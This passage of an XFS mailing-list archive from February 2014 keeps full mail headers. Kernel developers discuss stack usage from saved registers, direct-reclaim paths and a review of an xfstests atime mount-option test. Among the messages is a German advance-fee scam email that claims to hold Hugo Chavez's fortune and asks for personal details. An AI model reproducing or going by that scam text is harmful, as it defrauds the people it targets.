0xffffffff814d7394 <+20>: mov %r12,-0x20(%rbp) 0xffffffff814d7398 <+24>: mov %rcx,%r12 0xffffffff814d739b <+27>: mov %r13,-0x18(%rbp) 0xffffffff814d739f <+31>: mov %rsi,%r13 0xffffffff814d73a5 <+37>: mov %r14,-0x10(%rbp) 0xffffffff814d73a9 <+41>: mov %rdx,%r14 0xffffffff814d73ac <+44>: mov %r15,-0x8(%rbp) 0xffffffff814d73b0 <+48>: mov %r8,%r15 0xffffffff814d73b7 <+55>: mov %r9,-0x48(%rbp) ..... If this is typical across the call chain (appears to be from my quick survey) then we are averaging 40-50 bytes of stack per call for saved registers. That's a lot of stack space we can't directly control the usage of, especially when we are talking about call chains that can get 50+ functions deep... Cheers, Dave. -- Dave Chinner david@fromorbit.com From davej@redhat.com Sat Feb 15 16:28:59 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id DBC3629DF8 for ; Sat, 15 Feb 2014 16:28:59 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7E065AC001 for ; Sat, 15 Feb 2014 14:28:56 -0800 (PST) X-ASG-Debug-ID: 1392503335-04bdf00fc0119c0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 81BEbCOHYn2xf3ZC for ; Sat, 15 Feb 2014 14:28:55 -0800 (PST) X-Barracuda-Envelope-From: davej@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1FMSqgY004994 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sat, 15 Feb 2014 17:28:52 -0500 Received: from gelk.kernelslacker.org ([10.3.113.9]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1FMSk6m029968 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 15 Feb 2014 17:28:51 -0500 Received: from gelk.kernelslacker.org (localhost [127.0.0.1]) by gelk.kernelslacker.org (8.14.8/8.14.7) with ESMTP id s1FMSjOO018247; Sat, 15 Feb 2014 17:28:45 -0500 Received: (from davej@localhost) by gelk.kernelslacker.org (8.14.8/8.14.8/Submit) id s1FMSiUn018246; Sat, 15 Feb 2014 17:28:44 -0500 X-Authentication-Warning: gelk.kernelslacker.org: davej set sender to davej@redhat.com using -f Date: Sat, 15 Feb 2014 17:28:44 -0500 From: Dave Jones To: Dave Chinner Cc: Linus Torvalds , Al Viro , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140215222844.GA18201@redhat.com> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Mail-Followup-To: Dave Jones , Dave Chinner , Linus Torvalds , Al Viro , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com References: <20140212010941.GM18016@ZenIV.linux.org.uk> <20140212040358.GA25327@redhat.com> <20140212042215.GN18016@ZenIV.linux.org.uk> <20140212054043.GB13997@dastard> <20140212071829.GE13997@dastard> <20140214002427.GN13997@dastard> <20140214160123.GA28125@redhat.com> <20140215222356.GU13997@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140215222356.GU13997@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392503335 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Sun, Feb 16, 2014 at 09:23:56AM +1100, Dave Chinner wrote: > There's a pretty massive difference between the actual stack usage > of the local variables and the amount of stack being used by the > compiled code. > > What it appears to be is that the compiler is pushing 6-10 registers > to the stack on every function call. So a function that only has 3 > local variables and does very little but allocate a structure and > call other functions saves an 6 registers to the stack before it > starts: I've got a shitload of debug options enabled, which may explain it. Or perhaps that new STACK_PROTECTOR_STRONG stuff ? Dave From david@fromorbit.com Sat Feb 15 16:29:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8C7B429DF8 for ; Sat, 15 Feb 2014 16:29:20 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3F616AC002 for ; Sat, 15 Feb 2014 14:29:20 -0800 (PST) X-ASG-Debug-ID: 1392503357-04bdf00fc911a10001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id YPJOVshAuqJzoMgH for ; Sat, 15 Feb 2014 14:29:18 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: As8IABDp/1J5LJYe/2dsb2JhbABZgwa6eoVQgQ4XdIIlAQEFOhwjEAgDGAklDwUlAyETiATJORcWjmsHhDgEmCuSJINBKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 16 Feb 2014 08:59:16 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WEnjX-0001cc-FN; Sun, 16 Feb 2014 09:29:15 +1100 Date: Sun, 16 Feb 2014 09:29:15 +1100 From: Dave Chinner To: Eric Sandeen Cc: Eric Sandeen , dsterba@suse.cz, Koen De Wit , xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: Re: [PATCH] xfstests: test for atime-related mount options Message-ID: <20140215222915.GU13647@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstests: test for atime-related mount options References: <1392305016-7424-1-git-send-email-koen.de.wit@oracle.com> <52FCF60F.6030703@sandeen.net> <20140214163925.GW16073@twin.jikos.cz> <52FE472C.8070503@sandeen.net> <20140214222418.GT13997@dastard> <52FEAB6B.10107@redhat.com> <20140215013931.GT13647@dastard> <52FED8B0.6040009@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52FED8B0.6040009@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1392503357 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145154 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Feb 14, 2014 at 09:02:08PM -0600, Eric Sandeen wrote: > On 2/14/14, 7:39 PM, Dave Chinner wrote: > > On Fri, Feb 14, 2014 at 05:48:59PM -0600, Eric Sandeen wrote: > >> On 2/14/14, 4:24 PM, Dave Chinner wrote: > >>> On Fri, Feb 14, 2014 at 10:41:16AM -0600, Eric Sandeen wrote: > >>>> On 2/14/14, 10:39 AM, David Sterba wrote: > >>>>> On Thu, Feb 13, 2014 at 10:42:55AM -0600, Eric Sandeen wrote: > >>>>>>> +cat /proc/mounts | grep "$SCRATCH_MNT" | grep relatime >> $seqres.full > >>>>>>> +[ $? -ne 0 ] && echo "The relatime mount option should be the default." > >>>>>> > >>>>>> Ok, I guess "relatime" in /proc/mounts is from core vfs code and > >>>>>> should be there for the foreseeable future, so seems ok. > >>>>>> > >>>>>> But - relatime was added in v2.6.20, and made default in 2.6.30. So > >>>>>> testing older kernels may not go as expected; it'd probably be best to > >>>>>> catch situations where relatime isn't available (< 2.6.20) or not > >>>>>> default (< 2.6.30), by explicitly mounting with relatime, and skipping > >>>>>> relatime/strictatime tests if that fails? > >>>>> > >>>>> Is there some consensus what's the lowest kernel version to be supported > >>>>> by xfstests? 2.6.32 is the lowest base for kernels in use today, so > >>>>> worrying about anything older does not seem necessary. > >>>>> > >>>> > >>>> I don't know that it's been discussed - selfishly, I know our QE uses > >>>> xfstests on RHEL5, which is 2.6.18-based. > >>> > >>> Sure, but they can just add the test to a "rhel5-expunged" file and > >>> they don't have to care about tests that won't work on RHEL 5 or > >>> other older kernels. Or to send patches to add "_requires_relatime" > >>> so that it automatically does the right thing for older kernels. > >> > >> sure but some of this test is still valid on a kernel w/o relatime. > >> And since it's the default, "relatime" might disappear from /proc/mounts > >> some day anyway, so explicitly mounting with the option & failing > >> if that fails might be good future-proofind in any case. > >> > >> *shrug* > >> > >> It was just a request, not a demand. :) Koen, you can do with > >> it whatever you like. Reviews aren't ultimatums. :) > >> > >> If xfstests upstream is only targeted at the current kernel, that's > >> fine, but maye we should make that a little more explicit. > > > > That's not what I meant. ;) > > > > Really, all I'm saying is that we can't expect people who are > > writing tests that work on current kernels to know what is necessary > > to make tests work on 7 year old distros that don't support a > > feature that has been in mainline for 5 years. Hence that shouldn't > > be a barrier to having a test committed as we have mechanisms for > > distro QE to handle these sorts of issues... > > Sure, that's perfectly fair. > > I wasn't really thinking of RHEL5 when I made my first comment, > just general portability across kernels. dsterba suggested that > 2.6.32 is the oldest kernel used, and I pointed out that we do > still use 2.6.18. :) > > Anyway, for general portability across releases, perhaps rather than: > > +cat /proc/mounts | grep "$SCRATCH_MNT" | grep relatime >> $seqres.full > +[ $? -ne 0 ] && echo "The relatime mount option should be the default." > > which would fail the test, it should just [notrun] if relatime > isn't there, for any reason, on any kernel, if relatime is not > default as expected for the test framework. i.e. > > +[ $? -ne 0 ] && _notrun "The relatime mount option is not the default." I disagree - the test doesn't need to care what the default mount option is - it's a relatively silly thing to test because it doesn't determine whether the behaviour of the option is correct or not. Especially as the test is checking the behaviour of specific atime mount options so it should just specify each one it is testing and ignoring what the default is. IOWs, the default atime behaviour just doesn't matter for the purpose of the test.... What the test actually cares about is this: _require_relatime() { _scratch_mkfs > /dev/null 2>&1 _mount -t $FSTYP -o relatime $SCRATCH_DEV $SCRATCH_MNT || \ _notrun "relatime not supported by the current kernel" } Cheers, Dave. -- Dave Chinner david@fromorbit.com From linus971@gmail.com Sat Feb 15 16:43:07 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1A62229DF8 for ; Sat, 15 Feb 2014 16:43:07 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id CCA90304043 for ; Sat, 15 Feb 2014 14:43:06 -0800 (PST) X-ASG-Debug-ID: 1392504184-04bdf00fc3125f0001-NocioJ Received: from mail-vc0-f177.google.com (mail-vc0-f177.google.com [209.85.220.177]) by cuda.sgi.com with ESMTP id 7OhHUnV7CXIrZ39B (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 15 Feb 2014 14:43:05 -0800 (PST) X-Barracuda-Envelope-From: linus971@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.220.177 X-Barracuda-IPDD: Level1 [gmail.com/209.85.220.177] Received: by mail-vc0-f177.google.com with SMTP id if11so10163364vcb.8 for ; Sat, 15 Feb 2014 14:43:04 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.220.177] X-Barracuda-IPDD: Level1 [gmail.com/209.85.220.177] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:content-type; bh=l9OJo7ocZgKXgSc4445Lx9tND1OHGM2EL3hu31QDo24=; b=x0QxyJFUh8CXXa0R0NMgEoPGL8ULZA+KlqrzJXwD3FzObTis6+j5FLna2v1QJD/7Z1 oh2c8LsNBl9sRoR8UiYt2s095usKpYLh6EMrZgBhbQsj0k9ehedFiTFnibS5KZCg4by6 wpFcaahjg8Y0lX77mArnyttON/x67hvSxf+ByF6KIb1z7Mc0jnZpbtI4+ZZjKekANN57 bspYpwR8uD7OttuDy7HwOvPzhuHepaIovBI669gIzLPaHq26lHdS2qT2wdTJmCWKBz26 Z8dkoBxJxyQlgnA0aonOm+pTWpCpOB1nA/dwcgXEC8eL9R0xAEMfEqZomuoS+Pb2tXf3 TxUw== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=linux-foundation.org; s=google; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:content-type; bh=l9OJo7ocZgKXgSc4445Lx9tND1OHGM2EL3hu31QDo24=; b=edZULaW71v3yUTiv2iLR24Ul+H/+Ow4yIpS6QqBo7DlHnFrG/XkSQS34C4tj5SEbM5 tGCRvoSbDIRoDVpQ7+QUkTkFN13s2sHj6B5jg2SqVEJMrchp+GfJ7EE2mzBYPnPA4bKI /V7bsVNY3iinIJkMq+aUdRfACiQnbjhr1kUY0= MIME-Version: 1.0 X-Received: by 10.220.2.199 with SMTP id 7mr10889934vck.4.1392504184162; Sat, 15 Feb 2014 14:43:04 -0800 (PST) Sender: linus971@gmail.com Received: by 10.220.13.2 with HTTP; Sat, 15 Feb 2014 14:43:03 -0800 (PST) In-Reply-To: <20140215222844.GA18201@redhat.com> References: <20140212010941.GM18016@ZenIV.linux.org.uk> <20140212040358.GA25327@redhat.com> <20140212042215.GN18016@ZenIV.linux.org.uk> <20140212054043.GB13997@dastard> <20140212071829.GE13997@dastard> <20140214002427.GN13997@dastard> <20140214160123.GA28125@redhat.com> <20140215222356.GU13997@dastard> <20140215222844.GA18201@redhat.com> Date: Sat, 15 Feb 2014 14:43:03 -0800 X-Google-Sender-Auth: swUowRsGrSNTEo6YcDhjGhC_ZE0 Message-ID: Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. From: Linus Torvalds X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. To: Dave Jones , Dave Chinner , Linus Torvalds , Al Viro , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-vc0-f177.google.com[209.85.220.177] X-Barracuda-Start-Time: 1392504184 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145154 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Sat, Feb 15, 2014 at 2:28 PM, Dave Jones wrote: > > I've got a shitload of debug options enabled, which may explain it. > Or perhaps that new STACK_PROTECTOR_STRONG stuff ? Well, a lot of it is just the callee-saved registers. The compiler will tend to preferentially allocate registers in the callee-trashed registers, but if the function isn't a leaf function, any registers that are live around a function call will have to be saved somewhere - either explicitly around the function call, or - more likely - in callee-saved registers that then get saved in the prologue/epilogue of the function. And this will happen even in leaf functions when there is enough register pressure that the callee-trashed registers aren't sufficient (which is pretty common). So saving 5-6 registers on the stack (in addition to any actual stack frame) is pretty much the norm for anything but the very simplest cases. But yeah, I'm sure some config options make it worse. STACK_PROTECTOR_STRONG could easily be one of those. Linus From linus971@gmail.com Sat Feb 15 17:50:34 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id CD93929DF8 for ; Sat, 15 Feb 2014 17:50:34 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id AA9348F8039 for ; Sat, 15 Feb 2014 15:50:31 -0800 (PST) X-ASG-Debug-ID: 1392508229-04cbb00c2b44a1a0001-NocioJ Received: from mail-vc0-f171.google.com (mail-vc0-f171.google.com [209.85.220.171]) by cuda.sgi.com with ESMTP id 2nc3sl5zrPUv23WW (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 15 Feb 2014 15:50:30 -0800 (PST) X-Barracuda-Envelope-From: linus971@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.220.171 X-Barracuda-IPDD: Level1 [gmail.com/209.85.220.171] Received: by mail-vc0-f171.google.com with SMTP id le5so10360737vcb.2 for ; Sat, 15 Feb 2014 15:50:29 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.220.171] X-Barracuda-IPDD: Level1 [gmail.com/209.85.220.171] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=AdJLRTFoFMwzL6BkG37RrqmmQW0QVPuip8kTfAwqdwo=; b=mLYwDn5GminEiWKWCJPAhrAbLsSRqJKuU/F1aRd5idvX7ayIK0UImqHM08E7NF5TqV /AOKGjZb7auKk5+AZskbDXJJBXoI3rvEnhOJWa46zSGPyECfCQAm2gXUIHWun206VcRX faEd9GiZcj5Q7FGXIwf9U69X4Rv2ScS4BJWZdrpR+GKkh/FwCnF6+N5Gm3qXhPtrco00 reWKuTMa7kz3GiX01/hBFzRPC9q6jHu8x4SzJF6XymC1CzbHHihZJl4mvzgXF5Ha0E3Z prCEZw4hCckdfy0oKR80thMs9LhOOSEkEUctLKUnALKSYwkMfDepEhxDdSplz0zWx/Gg qyAg== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=linux-foundation.org; s=google; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=AdJLRTFoFMwzL6BkG37RrqmmQW0QVPuip8kTfAwqdwo=; b=CsN0/RBYKmV9oICPhe2dexEVTWhvC/Qg2jwKQRBKtSl91vjVexoCqGWYgBa3FQGg+V 51X/buK2pHo3z/M5mCb8UCMG0qJjjC+wzTQrpKfukBT81xmlSJV0MVDYPNl8zjlPKDs0 +HhDAM384Z/dxfQDLBNSYpO265W3VN92BX8yw= MIME-Version: 1.0 X-Received: by 10.220.147.16 with SMTP id j16mr6834620vcv.28.1392508229405; Sat, 15 Feb 2014 15:50:29 -0800 (PST) Sender: linus971@gmail.com Received: by 10.220.13.2 with HTTP; Sat, 15 Feb 2014 15:50:29 -0800 (PST) In-Reply-To: <20140214002427.GN13997@dastard> References: <20140211210841.GM13647@dastard> <52FA9ADA.9040803@sandeen.net> <20140212004403.GA17129@redhat.com> <20140212010941.GM18016@ZenIV.linux.org.uk> <20140212040358.GA25327@redhat.com> <20140212042215.GN18016@ZenIV.linux.org.uk> <20140212054043.GB13997@dastard> <20140212071829.GE13997@dastard> <20140214002427.GN13997@dastard> Date: Sat, 15 Feb 2014 15:50:29 -0800 X-Google-Sender-Auth: UkAlvS42Pt2YRlkKFqgQdi5_sso Message-ID: Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. From: Linus Torvalds X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. To: Dave Chinner , linux-mm Cc: Al Viro , Dave Jones , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-vc0-f171.google.com[209.85.220.171] X-Barracuda-Start-Time: 1392508230 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145156 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature [ Added linux-mm to the participants list ] On Thu, Feb 13, 2014 at 4:24 PM, Dave Chinner wrote: > > Dave, the patch below should chop off the stack usage from > xfs_log_force_lsn() issuing IO by deferring it to the CIL workqueue. > Can you given this a run? Ok, so DaveJ confirmed that DaveC's patch fixes his issue (damn, people, your parents were some seriously boring people, were they not? We've got too many Dave's around), but DaveC earlier pointed out that pretty much any memory allocation path can end up using 3kB of stack even without XFS being involved. Which does bring up the question whether we should look (once more) at the VM direct-reclaim path, and try to avoid GFP_FS/IO direct reclaim.. Direct reclaim historically used to be an important throttling mechanism, and I used to not be a fan of trying to avoid direct reclaim. But the stack depth issue really looks to be pretty bad, and I think we've gotten better at throttling explicitly, so.. I *think* we already limit filesystem writeback to just kswapd (in shrink_page_list()), but DaveC posted a backtrace that goes through do_try_to_free_pages() to shrink_slab(), and through there to the filesystem and then IO. That looked like a disaster. And that's because (if I read things right) shrink_page_list() limits filesystem page writeback to kswapd, but not swap pages. Which I think probably made more sense back in the days than it does now (I certainly *hope* that swapping is less important today than it was, say, ten years ago) So I'm wondering whether we should remove that page_is_file_cache() check from shrink_page_list()? And then there is that whole shrink_slab() case... Linus From convert@keppel.firstcom.com.sg Sun Feb 16 02:26:54 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.5 required=5.0 tests=FREEMAIL_FROM,LOTS_OF_MONEY, SUBJ_ALL_CAPS,T_FRT_CONTACT,T_HK_NAME_FM_DR autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 930B47F66 for ; Sun, 16 Feb 2014 02:26:54 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6614A8F8039 for ; Sun, 16 Feb 2014 00:26:50 -0800 (PST) X-ASG-Debug-ID: 1392539207-04bdf00fc02d9b0001-w1Z2WR Received: from keppel.firstcom.com.sg (keppel.firstcom.com.sg [103.9.100.143]) by cuda.sgi.com with ESMTP id 8jthL07nL3gpgwwz (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 16 Feb 2014 00:26:48 -0800 (PST) X-Barracuda-Envelope-From: convert@keppel.firstcom.com.sg X-Barracuda-Apparent-Source-IP: 103.9.100.143 Received: from convert by keppel.firstcom.com.sg with local (Exim 4.82) (envelope-from ) id 1WEx3k-0004F9-KK for linux-xfs@oss.sgi.com; Sun, 16 Feb 2014 16:26:46 +0800 Date: Sun, 16 Feb 2014 16:26:44 +0800 To: linux-xfs@oss.sgi.com From: =?UTF-8?Q?DR=2eJOHN_MARTINS?= Subject: =?UTF-8?Q?LIEBER_FREUND?= Message-ID: <367198d728be8680b1759e9403a08086@103.9.100.94> X-ASG-Orig-Subj: =?UTF-8?Q?LIEBER_FREUND?= X-Priority: 3 MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset="us-ascii" X-OutGoing-Spam-Status: No, score=2.0 X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - keppel.firstcom.com.sg X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [524 32007] / [47 12] X-AntiAbuse: Sender Address Domain - keppel.firstcom.com.sg X-Get-Message-Sender-Via: keppel.firstcom.com.sg: authenticated_id: convert/only user confirmed/virtual account not confirmed X-Source: /usr/bin/php X-Source-Args: /usr/bin/php /home/convert/public_html/it/1.php X-Source-Dir: convert.com.sg:/public_html/it X-Barracuda-Connect: keppel.firstcom.com.sg[103.9.100.143] X-Barracuda-Start-Time: 1392539207 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.64 X-Barracuda-Spam-Status: No, SCORE=1.64 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MAILTO_TO_SPAM_ADDR, SUBJ_ALL_CAPS, SUBJ_ALL_CAPS_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145167 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email 0.01 SUBJ_ALL_CAPS Subject is all capitals 1.62 SUBJ_ALL_CAPS_2 SUBJ_ALL_CAPS_2 Barclays Bank PLC 28 High Street Nottinghamshire Vereinigtes K=F6nigreich NG1 2bd martinsjohn036@gmail.com Lieber Freund, Mein Name ist John k. Martins und ich bin der Chef von der Barclays Bank No= ttingham, Vereinigtes K=F6nigreich. Ich bin verheiratet mit 3 Kindern. Ich m=F6chte Ihnen mitteilen, dass ich Ihre Hilfe brauche. Die Summe von = =A316,5 Millionen britische Pfund blieb in meiner Bank von der sp=E4ten Hug= o Chavez, der ehemalige Pr=E4sident von Venezuela und ich war seine Konten-= Offizier, bis er starb. Ich traf Herr Chavez in Venezuela im Jahr 2008 und er schuf dieses Konto in= meiner Bank und teilte mir mit, dass er in Immobilien im Vereinigten K=F6n= igreich investieren wollte. Ich muss das Geld von meiner Bank auf Ihrer Bank zu =FCbertragen, damit wir= beide das Geld teilt und ich brauche die =DCbertragung dringend getan werd= en. Bitte kontaktiere mich jetzt, wenn Sie mir helfen k=F6nnen und senden Sie m= ir die folgenden Informationen 1} Vollst=E4ndigen Namen und Adresse 2} Adresse Ich warte jetzt von Ihnen zu h=F6ren. John k.Martins From fdmanana@gmail.com Sun Feb 16 07:44:39 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 99C157F6B for ; Sun, 16 Feb 2014 07:44:39 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2A972AC00B for ; Sun, 16 Feb 2014 05:44:36 -0800 (PST) X-ASG-Debug-ID: 1392558270-04bdf00fc33d990001-NocioJ Received: from mail-we0-f172.google.com (mail-we0-f172.google.com [74.125.82.172]) by cuda.sgi.com with ESMTP id G0jFlY3kI1ElkxGs (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 16 Feb 2014 05:44:31 -0800 (PST) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.82.172 Received: by mail-we0-f172.google.com with SMTP id p61so10066701wes.17 for ; Sun, 16 Feb 2014 05:44:29 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=JIioLkIQTBNCcWkdnoPpgbQrA2IUFU+EA8BBslbSW+Q=; b=RhWvPR273WzOf+OTeTttX1FQV7F/Ohy1FuEk+O4fEMy7iNUMiyqO2+bPBG0vmjjM1v yi5sIGBtS2Y1h8BRGyrQHzJzkqeSJfoBgvMBjIzHFQ+T7SaD6EYnJrPUTn8HmuDe7A6j 